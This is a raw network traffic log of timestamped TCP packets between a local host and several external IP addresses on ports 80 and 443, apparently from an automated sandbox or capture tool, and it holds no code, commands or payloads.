Jan 4, 2022 19:33:31.299709082 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.299786091 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.299849033 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.312630892 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.312726021 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.312808037 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.314740896 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.316659927 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.316694975 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.316729069 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.316767931 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.328682899 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.329288006 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.332628965 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.332672119 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.332703114 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.332748890 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.332801104 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.333024025 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333064079 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333101034 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333139896 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333153963 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.333184958 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.333200932 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.333623886 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333662987 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333703041 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.333728075 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.333758116 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.334162951 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.334203959 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.334244013 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.334249020 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.334263086 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.334309101 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.340677977 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.340842962 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.340935946 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.344526052 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.345103979 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.352472067 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.352557898 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.356550932 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.356645107 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.360485077 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.360555887 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.367105961 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.368275881 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.406548977 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.418505907 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.418567896 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.422478914 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.430548906 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.430571079 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.430603027 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.430636883 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.434600115 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.434632063 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.434710979 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.434927940 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.434941053 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.434992075 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.435554981 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.468195915 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.496157885 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.528107882 CET	80	49828	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.528333902 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.528570890 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.528589964 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.588109016 CET	80	49828	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.700351000 CET	80	49828	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.704230070 CET	80	49828	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:31.704281092 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.704314947 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:31.982537985 CET	49828	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:32.042304993 CET	80	49828	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:32.121123075 CET	49830	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:32.139175892 CET	80	49830	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:32.139292002 CET	49830	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:32.139425039 CET	49830	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:32.157291889 CET	80	49830	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:32.157330036 CET	80	49830	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:32.223000050 CET	49830	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:33.141876936 CET	49832	80	192.168.2.5	61.98.7.133
Jan 4, 2022 19:33:33.408361912 CET	80	49832	61.98.7.133	192.168.2.5
Jan 4, 2022 19:33:33.408504963 CET	49832	80	192.168.2.5	61.98.7.133
Jan 4, 2022 19:33:33.408668041 CET	49832	80	192.168.2.5	61.98.7.133
Jan 4, 2022 19:33:33.408690929 CET	49832	80	192.168.2.5	61.98.7.133
Jan 4, 2022 19:33:33.675405025 CET	80	49832	61.98.7.133	192.168.2.5
Jan 4, 2022 19:33:34.147452116 CET	49834	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.213953972 CET	80	49834	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.214055061 CET	49834	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.214170933 CET	49834	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.214196920 CET	49834	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.280675888 CET	80	49834	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.325618982 CET	80	49834	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.325711966 CET	49834	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.326056957 CET	49834	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.358397961 CET	49835	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.393804073 CET	80	49834	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.412632942 CET	80	49832	61.98.7.133	192.168.2.5
Jan 4, 2022 19:33:34.412669897 CET	80	49832	61.98.7.133	192.168.2.5
Jan 4, 2022 19:33:34.412755966 CET	49832	80	192.168.2.5	61.98.7.133
Jan 4, 2022 19:33:34.412905931 CET	49832	80	192.168.2.5	61.98.7.133
Jan 4, 2022 19:33:34.418699026 CET	80	49835	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.418833971 CET	49835	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.418905020 CET	49835	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.419271946 CET	49835	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.419950962 CET	49784	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:34.438024044 CET	80	49784	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:34.438108921 CET	49784	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:34.440131903 CET	49836	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:34.457695961 CET	80	49836	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:34.457861900 CET	49836	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:34.458422899 CET	49836	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:34.476030111 CET	80	49836	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:34.476068020 CET	80	49836	54.38.220.85	192.168.2.5
Jan 4, 2022 19:33:34.478967905 CET	80	49835	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.479161024 CET	80	49835	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.520993948 CET	80	49835	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.521115065 CET	49835	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.542434931 CET	49835	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.577739000 CET	49837	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.609734058 CET	80	49835	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.613987923 CET	49836	80	192.168.2.5	54.38.220.85
Jan 4, 2022 19:33:34.648964882 CET	80	49837	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.649075031 CET	49837	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.649214983 CET	49837	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.649231911 CET	49837	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.679400921 CET	80	49832	61.98.7.133	192.168.2.5
Jan 4, 2022 19:33:34.702394962 CET	80	49837	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.746047020 CET	80	49837	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.747188091 CET	49837	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.747376919 CET	49837	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.775672913 CET	49838	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.800115108 CET	80	49837	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.852801085 CET	80	49838	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.853106976 CET	49838	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.853327990 CET	49838	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.853347063 CET	49838	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.883774042 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:34.924546003 CET	80	49838	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.925275087 CET	80	49838	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.987021923 CET	80	49838	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:34.987165928 CET	49838	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:34.995070934 CET	49838	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.026391029 CET	49840	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.066298008 CET	80	49838	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.091906071 CET	80	49840	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.092303991 CET	49840	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.092369080 CET	49840	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.092380047 CET	49840	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.152757883 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:35.152980089 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:35.153009892 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:35.153017044 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:35.158694983 CET	80	49840	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.201127052 CET	80	49840	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.201225996 CET	49840	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.201436043 CET	49840	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.227600098 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.227652073 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.227775097 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.228089094 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.228113890 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.269191980 CET	80	49840	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.278100967 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.278223038 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.280397892 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.280416012 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.280666113 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.282305956 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.324870110 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.401246071 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.401345015 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.401510954 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.402704000 CET	49841	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:35.402734995 CET	443	49841	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:35.422053099 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:35.424452066 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.424514055 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.424587011 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.424972057 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.424999952 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.448600054 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:35.448708057 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:35.448749065 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:35.472918987 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.473037004 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.475508928 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.475522041 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.475893021 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.476962090 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.511991024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:35.524866104 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.600775957 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.600821018 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.600862026 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.600915909 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.600924015 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.600953102 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.600972891 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.601147890 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.602322102 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.605578899 CET	49842	443	192.168.2.5	67.199.248.15
Jan 4, 2022 19:33:35.605616093 CET	443	49842	67.199.248.15	192.168.2.5
Jan 4, 2022 19:33:35.631337881 CET	49843	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.690947056 CET	80	49843	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.691068888 CET	49843	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.691207886 CET	49843	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.691226959 CET	49843	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.753973961 CET	80	49843	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.796051025 CET	80	49843	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.796591043 CET	49843	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.796786070 CET	49843	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.820744991 CET	49844	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.855441093 CET	80	49843	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.869853973 CET	80	49844	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.870027065 CET	49844	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.870163918 CET	49844	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.870192051 CET	49844	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.919228077 CET	80	49844	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.972965956 CET	80	49844	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:35.974776983 CET	49844	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:35.999682903 CET	49844	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.048744917 CET	80	49844	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.144994974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.145055056 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.145145893 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.349143982 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.409214020 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.409305096 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.409461975 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.414385080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.414432049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.414475918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.414515018 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:36.414518118 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.414592981 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:36.492419958 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492475986 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492516041 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492552042 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492557049 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.492592096 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492630959 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.492634058 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492672920 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492714882 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492737055 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.492752075 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.492774010 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.492790937 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.493056059 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553014040 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553061008 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553100109 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553127050 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553138018 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553178072 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553206921 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553217888 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553255081 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553292036 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553293943 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553333998 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553366899 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553370953 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553410053 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553448915 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553471088 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553488016 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553513050 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553528070 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553565979 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553605080 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553623915 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553643942 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553661108 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553682089 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553720951 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553759098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.553786039 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.553814888 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.613837957 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.613883972 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.613924026 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.613962889 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.613991976 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614002943 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614018917 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614043951 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614082098 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614120960 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614136934 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614160061 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614171028 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614197969 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614236116 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614259005 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614274025 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614314079 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614353895 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614365101 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614389896 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614402056 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614420891 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614459038 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614516973 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614557028 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614603996 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614615917 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614653111 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614695072 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614732027 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614748955 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614769936 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614777088 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614809036 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614846945 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614895105 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614908934 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614933014 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.614947081 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.614973068 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615070105 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615109921 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615135908 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.615147114 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615164995 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.615185976 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615226030 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615263939 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615288973 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.615303040 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.615319014 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.660881996 CET	49845	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:36.675348997 CET	80	49845	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:36.675391912 CET	80	49845	89.223.65.17	192.168.2.5
